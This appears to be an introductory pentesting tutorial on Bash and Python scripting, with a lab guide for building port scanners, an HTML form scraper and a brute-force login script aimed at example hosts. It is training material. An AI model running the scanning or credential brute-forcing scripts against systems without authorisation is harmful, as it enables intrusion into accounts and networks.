Scripting Basics for Pentesting

Index

Scripting is a fundamental skill for penetration testers, enabling automation of repetitive tasks, customization of tools, and efficient exploitation of vulnerabilities. This document covers the basics of shell scripting and Python programming, focusing on their application in penetration testing. Additionally, a step-by-step lab guide is provided for practical learning.

Basics of Shell Scripting

Shell scripting involves writing scripts for command-line interpreters (shells) like Bash. It allows automation of tasks in Unix/Linux environments.

Key Concepts

1. **Shebang**: Indicates the script interpreter.

```
#!/bin/bash
```

2. **Variables**: Store data values.

```
bash
name="John"
echo "Hello, $name"
```

3. **Control Structures**: Conditional statements and loops.

```
bash
# If statement
if [ $age -ge 18 ]; then
  echo "You are an adult."
else
  echo "You are a minor."
fi
# For loop
for i in {1..5}; do
  echo "Iteration $i"
done
```

Common Commands for Pentesting

- **nmap**: Network scanning.

```
bash
```

```
nmap -sV -p 1-65535 $target
```

- **netcat**: Network connectivity.

bash

```
nc -v -n -z -w 1 $target 80-443
```

- **curl**: Data transfer.

bash

```
curl -I $url
```

Basics of Python Programming

Introduction to Python

Python is a versatile scripting language widely used in penetration testing for automating tasks, writing exploits, and developing custom tools.

Key Concepts

1. **Variables and Data Types**:

python

```
name = "John"

age = 25

is_adult = age >= 18
```

2. **Control Structures**: Conditional statements and loops.

python

```
# If statement

if age >= 18:

   print("You are an adult.")

else:

   print("You are a minor.")


# For loop

for i in range(5):

   print(f"Iteration {i+1}")
```

3. **Functions**:

python

```
def greet(name):
   return f"Hello, {name}"
print(greet("John"))
```

Libraries for Pentesting

- **Scapy**: Packet manipulation.

python

```
from scapy.all import *
pkt = IP(dst="8.8.8.8")/ICMP()
send(pkt)
```

- **Requests**: HTTP requests.

python

```
import requests
response = requests.get('http://example.com')
print(response.status_code)
```

- **Socket**: Network connections.

python

```
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("example.com", 80))
```

Automating Pentesting with Python

Common Automation Tasks

1. **Port Scanning**:

```
python
import socket
def scan_ports(host, ports):
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        result = s.connect_ex((host, port))
        if result == 0:
            print(f"Port {port} is open")
        else:
            print(f"Port {port} is closed")
        s.close()


scan_ports("127.0.0.1", [22, 80, 443])
```

2. **Web Scraping for Vulnerabilities**:

```
python
import requests
from bs4 import BeautifulSoup
def find_forms(url):
    response = requests.get(url)
    soup = BeautifulSoup(response.content, 'html.parser')
    forms = soup.find_all('form')
    for form in forms:
        print(form)
find_forms("http://example.com")
```

3. **Brute Force Login**:

```
python
import requests
def brute_force_login(url, usernames, passwords):
    for username in usernames:
        for password in passwords:
            response = requests.post(url, data={'username': username, 'password': password})
            if "Welcome" in response.text:
                print(f"Successful login: {username}:{password}")
                return
brute_force_login("http://example.com/login", ["admin", "user"], ["password", "123456"])
```

Lab Guide

Prerequisites

- Basic understanding of shell scripting and Python programming.
- Unix/Linux environment with Bash shell.
- Python installed on the system.

Step 1: Setting Up the Lab Environment

1. **Install Required Tools**:
   - Install Python:

```
bash
sudo apt-get install python3
```

   - Install necessary Python libraries:

```
bash
pip install requests bs4 scapy
```

Step 2: Writing Basic Shell Scripts

1. **Create a Simple Port Scanner**:
   - Create a file named port_scanner.sh:

```
bash
#!/bin/bash
target=$1
for port in {1..1024}; do
  (echo >/dev/tcp/$target/$port) &>/dev/null && echo "Port $port is open"
done
```

   - Make it executable:

```
bash
chmod +x port_scanner.sh
```

   - Run the script:

```
bash
./port_scanner.sh 127.0.0.1
```

Step 3: Writing Basic Python Scripts

1. **Create a Simple HTTP Request Script**:
   - Create a file named http_request.py:

```
python
import requests
url = "http://example.com"
response = requests.get(url)
print(f"Status Code: {response.status_code}")
```

   - Run the script:

```
bash
python3 http_request.py
```

Step 4: Automating Pentesting Tasks with Python

1. **Create a Port Scanner**:
   - Create a file named port_scanner.py:

```
python
import socket
def scan_ports(host, ports):
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        result = s.connect_ex((host, port))
        if result == 0:
            print(f"Port {port} is open")
        else:
            print(f"Port {port} is closed")
        s.close()

scan_ports("127.0.0.1", [22, 80, 443])
```

- Run the script:

bash

```
python3 port_scanner.py
```

2. **Automate Web Scraping**:
    - Create a file named web_scraping.py:

python

```
import requests
from bs4 import BeautifulSoup
def find_forms(url):
    response = requests.get(url)
    soup = BeautifulSoup(response.content, 'html.parser')
    forms = soup.find_all('form')
    for form in forms:
        print(form)
find_forms("http://example.com")
```

- Run the script:

bash

```
python3 web_scraping.py
```

3. **Brute Force Login Script**:
    - Create a file named brute_force_login.py:

python

```
import requests
def brute_force_login(url, usernames, passwords):
    for username in usernames:
        for password in passwords:
```

```
        response = requests.post(url, data={'username': username, 'password': password})
        if "Welcome" in response.text:
            print(f"Successful login: {username}:{password}")
            return
brute_force_login("http://example.com/login", ["admin", "user"], ["password", "123456"])
```

- Run the script:

bash

```
python3 brute_force_login.py
```

Summary

Understanding the basics of shell scripting and Python programming is crucial for automating tasks and enhancing efficiency in penetration testing. By following the outlined concepts and the provided lab guide, you can develop and utilize scripts effectively in various penetration testing scenarios. Regular practice and exploration of advanced scripting techniques will further enhance your skills and capabilities as a penetration tester.